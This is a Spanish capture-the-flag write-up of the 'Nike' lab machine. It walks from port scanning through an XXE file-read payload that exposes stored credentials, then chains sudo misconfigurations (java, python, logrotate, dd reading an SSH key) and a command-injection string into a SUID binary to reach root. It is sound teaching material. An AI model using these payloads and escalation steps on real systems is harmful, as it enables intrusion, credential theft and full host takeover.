> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/thehackerslabs/avanzado/nike.md).

# Nike

<figure><img src="/files/4sZLQRgzqDpBIPx29ISt" alt=""><figcaption></figcaption></figure>

***

## 1. Reconocimiento

Comenzamos realizando un escaneo de puertos con Nmap para identificar los servicios abiertos.

### **Nmap**

```bash
sudo nmap -p- --open -sSCV --min-rate 5000 -vvv -Pn 192.168.1.68 -oN nmap.txt
```

```bash
PORT   STATE SERVICE REASON          VERSION
22/tcp open  ssh     syn-ack ttl 128 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA9i7hiBgZdbqok5ESuJPFfkPuRpcCT6UEeh71LyPq3i2pfdC6S1w4UYO17jknxy06B1COEcaGELE4n2KCor3M4=
|   256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOaMroBaMRuicicDHyP1mRMULBpy4OqNENpp/l/O/cIq
80/tcp open  http    syn-ack ttl 128 Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Tienda Nike - Zapatillas
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### **Gobuster**

Para el puerto 80, realizamos fuzzing de directorios y archivos.

```bash
sudo gobuster dir -u 192.168.1.68/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,zip,rar,tar,gz,css,xml,json,rb,py,jpg,jpeg,png,gif,svg,ico,pdf,sql,log,ini,conf,config,backup,sh,bash
```

```bash
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 277]
/.html                (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 1622]
/upload.php           (Status: 200) [Size: 16]
/javascript           (Status: 301) [Size: 317] [--> <http://192.168.1.68/javascript/>]
/script.js            (Status: 200) [Size: 193]
/styles.css           (Status: 200) [Size: 1395]
/datos.php            (Status: 500) [Size: 0]
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
```

***

## 2. Análisis Web y XXE

<figure><img src="/files/Ogwxilm3k5iiNVmbTA4n" alt=""><figcaption></figcaption></figure>

Identificamos los siguientes comportamientos en los archivos PHP:

* **`/upload.php`** responde 200 con "No proporcionado".
* **`/datos.php`** responde 500 (probablemente espera parámetros).
* **`/upload.php`** acepta uploads pero se necesitan enviar los datos correctamente.

Al enviar datos POST normales, el servidor arrojó un error del parser XML, indicando que esperaba XML: `"Start tag expected, '<' not found"`.

```bash
curl -X POST <http://192.168.1.68/upload.php> -d "name=test"
```

> El servidor respondió: **"Start tag expected, '<' not found"**

Ese error es un mensaje del **parser XML de PHP**. Significa que el servidor intentó parsear el input como XML y falló porque `name=test` no empieza con `<`. El servidor **espera XML**, no form data normal.

> **Por qué `-d` y no otra cosa**
>
> * `d` en curl significa **"send data in the body of the request"**. Es equivalente a enviar un formulario POST. Lo usamos porque:
> * `F` → multipart/form-data (para archivos reales)
> * `d` → application/x-www-form-urlencoded (para texto plano)

Confirmamos que acepta XML válido:

```bash
curl -X POST <http://192.168.1.68/upload.php> \\
  -d '<?xml version="1.0"?><foo>hola</foo>'
```

Este XML válido es aceptado y nos deja listos para inyectar.

### Ataque XXE

Aprovechamos esto para realizar un ataque de **Inyección de Entidades Externas XML (XXE)** y leer el archivo `/etc/passwd`.

```bash
curl -X POST <http://192.168.1.68/upload.php> \\
  -d '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'
```

<figure><img src="/files/WJffvG3xwINTflr1BC1l" alt=""><figcaption></figcaption></figure>

#### Explicación

```bash
<?xml version="1.0" encoding="ISO-8859-1"?>
        │
        └─ Cabecera XML estándar. ISO-8859-1 para evitar problemas con caracteres especiales del archivo leído.

<!DOCTYPE foo [
        │
        └─ Define un tipo de documento con entidades propias.

  <!ELEMENT foo ANY>
        │
        └─ El elemento <foo> puede contener cualquier contenido.

  <!ENTITY xxe SYSTEM "file:///etc/passwd">
        │         │           │
        │         │           └─ Archivo a leer del servidor.
        │         └─ SYSTEM = entidad EXTERNA (lee recursos).
        └─ Nombre de la entidad, podría llamarse cualquier cosa.
]>
<foo>&xxe;</foo>
      │
      └─ Aquí se "imprime" el contenido del archivo. &xxe; es reemplazado por el contenido de /etc/passwd.
```

**Teoría detrás de la inyección:**

1. **Qué es una ENTITY en XML:** En XML, una entidad es como una variable. La defines una vez y la reutilizas (ej. `<!ENTITY saludo "Hola mundo">`). Eso es una entidad **interna**.
2. **Qué añade SYSTEM:** Le dice al parser: *"el valor no está aquí dentro, ve a buscarlo a una fuente externa"*.
3. **Por qué `file://`:** `SYSTEM` acepta cualquier URI. `http://` (petición HTTP), `ftp://` (acceso FTP), `file://` (archivo local). `file:///etc/passwd` se divide en: `file://` (esquema), `/` (host vacío/local), `etc/passwd` (ruta absoluta). Por eso lleva tres barras.
4. **Por qué el nombre `xxe`:** Es arbitrario (podría ser `abc` o `leer`). Se usa `xxe` por convención en seguridad (XML eXternal Entity).

**El flujo completo de ejecución:**

1. Tú envías el XML al servidor → 2. PHP parsea el XML → 3. El parser ve `<!ENTITY xxe SYSTEM "file:///etc/passwd">` → 4. El parser abre `/etc/passwd` en el servidor → 5. Guarda ese contenido como valor de `&xxe;` → 6. Renderiza `<foo>&xxe;</foo>` → 7. La respuesta HTTP te devuelve el contenido del archivo.

Utilizando la misma vulnerabilidad, procedimos a extraer el código fuente del archivo oculto `datos.php`:

```bash
curl -X POST <http://192.168.1.68/upload.php> \\
  -d '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///var/www/html/datos.php">]><foo>&xxe;</foo>'
```

```json
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///var/www/html/datos.php">
]>
<foo><?php $user = "mike";
$pass = "oK)Lpk3#mmK!#p";
$dni_user = "74239813V";
$num_user = "+34 678 912 395";

$user = "wvverez";
$pass = "jKolpmd2f0dmko07x!@kk%";
$dni_user = "679145983X";
$num_user = "+ 34 922 178 452"

$user = "pylon";
$pass = "rp&swp)lkfg23lio";
$dni_user = "632159321M";
$num_user = "+ 34 611 459 112";

$user = "macci";
$pass = "koplsdm$%#jokk*mloker";
$dni_user = "547891239U";
$num_user = "+ 34 678 125 226";

$user = "n";
$pass = "kjlso%#mssa*nmccasca$%";
$dni_user = "432986104B";
$num_user = "+34 911 763 689";

if ($_SERVER['REQUEST_METHOD'] !== 'CLI') {
    http_response_code(403);
    die("Access Denied.");
}
?>
</foo>
```

Este archivo contenía credenciales para múltiples usuarios (`mike`, `wvverez`, `pylon`, `macci`, `n`).

***

## 3. Acceso Inicial

Con el único usuario que pudimos acceder por SSH fue `mike`. Sin embargo, la sesión estaba restringida (rbash), por lo que indicamos en el comando SSH que abriera una sesión `bash` directa:

```bash
ssh mike@192.168.1.68 bash
```

<figure><img src="/files/BVyUEuX1bLBJzNmkXewc" alt=""><figcaption></figcaption></figure>

***

## 4. Escalada de Privilegios

El proceso de escalada consistió en un movimiento lateral a través de varios usuarios hasta conseguir `root`.

### Escalado 1 (De `mike` a `n`)

<figure><img src="/files/QVA2FE4nuSTjqEAFm9sa" alt=""><figcaption></figcaption></figure>

Encontramos que el usuario `mike` tenía permisos en `sudo` para ejecutar `java` como el usuario `n`.

1. **Creamos el Payload**:

   ```bash
   cat << 'EOF' > Shell.java
   public class Shell {
       public static void main(String[] args) throws Exception {
           new ProcessBuilder("/bin/sh").inheritIO().start().waitFor();
       }
   }
   EOF
   ```
2. **Compilamos y ajustamos permisos en `/tmp/`**

   Convertimos el código fuente de texto plano (`Shell.java`) en un archivo binario ejecutable por la máquina virtual de Java (`Shell.class`).

   ```bash
   javac Shell.java
   ```

   Como el usuario `n` no tenía permisos para leer dentro de la carpeta personal de `mike`, movimos el archivo compilado a una carpeta pública (`/tmp/`) y le dimos permisos totales para asegurar su lectura.

   ```bash
   cp Shell.class /tmp/
   cd /tmp/
   chmod 777 Shell.class
   ```
3. **Ejecutamos con `sudo`**:

   ```bash
   sudo -u n /usr/bin/java -cp . Shell
   ```

### Escalado 2 (De `n` a `pylon`)

<figure><img src="/files/iO7OGGmQM4sUuchVlg4M" alt=""><figcaption></figcaption></figure>

Como usuario `n`, comprobamos que podíamos ejecutar `/opt/suma.py` mediante Python 3 como `pylon`.

```bash
cat /opt/suma.py
import sys

# definiendo la función
def suma(a, b):
    return a + b

def cuadrado(a):
    return a * a

# Entrada de los valores por pantalla
a = int(input("Introduce el primer numero: "))
b = int(input("Introduce el segundo número: "))

# impresión del resultado de la función suma
print("La suma de " + str(a) + " + " + str(b) + " es " + str(suma(a, b)))

# impresión del resultado de la función cuadrado
print("El cuadrado de " + str(a) + " es " + str(cuadrado(a)))
echo "" > /opt/suma.py 
cat /opt/suma.py

```

Sobrescribimos el archivo con un payload para lanzar una shell:

```bash
echo 'import os; os.system("/bin/sh")' > /opt/suma.py
sudo -u pylon /usr/bin/python3 /opt/suma.py
```

### Escalado 3 (De `pylon` a `macci`)

<figure><img src="/files/4fDmus7EQ5gC2jph4UGj" alt=""><figcaption></figcaption></figure>

El usuario `pylon` podía ejecutar `/usr/sbin/logrotate` como `macci`.

Para evadir el **Sticky Bit** de `/tmp/`, creamos nuestro propio directorio de trabajo y un archivo de configuración que utilizara `postrotate` para copiar y dar permisos SUID a bash.

```bash
mkdir /tmp/pwn_dir
chmod 777 /tmp/pwn_dir
touch /tmp/pwn_dir/pwn.log
chmod 777 /tmp/pwn_dir/pwn.log
```

La estrategia no fue invocar una shell directa (suele colgar el proceso), sino usar `postrotate` para copiar el binario de bash y darle permisos **SUID** (`chmod u+s`).

```bash
cat << 'EOF' > /tmp/pwn.conf
/tmp/pwn_dir/pwn.log {
    size 0
    missingok
    rotate 1
    postrotate
        cp /bin/bash /tmp/macci_bash
        chmod u+s /tmp/macci_bash
    endscript
}
EOF
```

Ejecutamos el comando forzando el estado a un archivo local:

`logrotate` intenta escribir su estado en `/var/lib/logrotate/status` (propiedad de root), arrojando "Permiso denegado". Lo solucionamos con el flag `-s` para redirigir el estado a `/tmp/`, y `-f` para forzar la rotación ignorando tiempo/tamaño.

```bash
sudo -u macci /usr/sbin/logrotate -s /tmp/macci_status2 -f /tmp/pwn.conf
/tmp/macci_bash -p
```

Para corregir los problemas entre el EUID y el UID real y poder usar `sudo`, estabilizamos la sesión con Python:

```bash
python3 -c 'import os, pty; os.setresuid(1003, 1003, 1003); pty.spawn("/bin/bash")'
```

### Escalado 4 (De `macci` a `wvverez`)

<figure><img src="/files/kv7f3RftNx2ybwTy69y2" alt=""><figcaption></figcaption></figure>

Como `macci`, teníamos permisos para ejecutar el comando `dd` como `wvverez`. Lo utilizamos para leer su clave privada SSH:

```bash
sudo -u wvverez /usr/bin/dd if=/home/wvverez/.ssh/id_rsa 2>/dev/null
```

Guardamos la clave extraída, ajustamos permisos y nos conectamos por SSH:

```bash
chmod 600 wvverez_key 
ssh -i wvverez_key wvverez@192.168.1.68

Linux TheHackersLabs-Nike 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 17 22:27:10 2026 from 192.168.91.128
wvverez@TheHackersLabs-Nike:~$ id
uid=1004(wvverez) gid=1004(wvverez) grupos=1004(wvverez),100(users),1005(ctf_admins)
```

```bash
wvverez@TheHackersLabs-Nike:~$ ls /home/wvverez/
flag.txt
```

### Escalado 5 (De `wvverez` a `root`)

Ya en `wvverez`, buscamos binarios SUID y encontramos uno inusual:

```bash
find / -perm -4000 2> /dev/null
...
/usr/local/bin/sys_monitor
```

**1. Verificamos permisos exactos:** Confirmamos que es propiedad de `root`.

```bash
wvverez@TheHackersLabs-Nike:~$ ls -la /usr/local/bin/sys_monitor
-rwsr-x--- 1 root ctf_admins 16440 feb 17 19:04 /usr/local/bin/sys_monitor
```

**2. Ejecutamos normalmente:** Nos pide una función (1, 2 o 3) y un input.

```bash
wvverez@TheHackersLabs-Nike:~$ /usr/local/bin/sys_monitor
Usage: /usr/local/bin/sys_monitor <function> <input>
Functions: 1,2,3
```

**3. Extracción de cadenas (Command Injection):** Usamos `strings` para leer el archivo compilado buscando llamadas del sistema.

```bash
strings /usr/local/bin/sys_monitor
...
cat /varH
/log/
echo 'Procesando: %s' && ls -la %s
/bin/sh
Usage: %s <function> <input>
Functions: 1,2,3
Invalid function
...
```

El programa inserta tu entrada directamente en la terminal sin sanitizar. Al usar la función `2` e inyectar `a; /bin/bash -p`, el programa construye y ejecuta:

```bash
echo 'Procesando: a; /bin/bash -p' && ls -la a; /bin/bash -p.
```

> Usamos `-p` para asegurarnos de que Bash respete los privilegios SUID del binario y no los descarte.

Ejecutamos el comando final para obtener root:

```bash
wvverez@TheHackersLabs-Nike:~$ /usr/local/bin/sys_monitor 2 "a; /bin/bash -p"
cat: /var/log/a: No existe el fichero o el directorio
```

```bash
root@TheHackersLabs-Nike:~# id
uid=0(root) gid=1004(wvverez) grupos=1004(wvverez),100(users),1005(ctf_admins)
```
